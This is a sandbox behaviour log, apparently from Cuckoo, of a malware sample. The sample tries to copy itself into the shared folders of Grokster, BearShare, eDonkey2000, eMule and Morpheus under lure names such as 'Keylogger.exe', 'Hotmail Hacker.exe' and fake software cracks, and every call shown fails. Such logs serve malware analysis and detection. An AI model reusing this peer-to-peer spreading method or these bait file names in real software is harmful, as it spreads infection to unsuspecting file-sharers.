18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Keylogger.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Website Hacker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\IP Nuker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Password Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Keylogger.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Website Hacker.exe	FAILURE	0x00000000
18:17:46,876	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\IP Nuker.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\bearshare\shared\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Password Cracker.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,886	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Keylogger.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Website Hacker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\IP Nuker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\edonkey2000\incoming\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Password Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,896	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Keylogger.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Website Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\IP Nuker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\emule\incoming\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
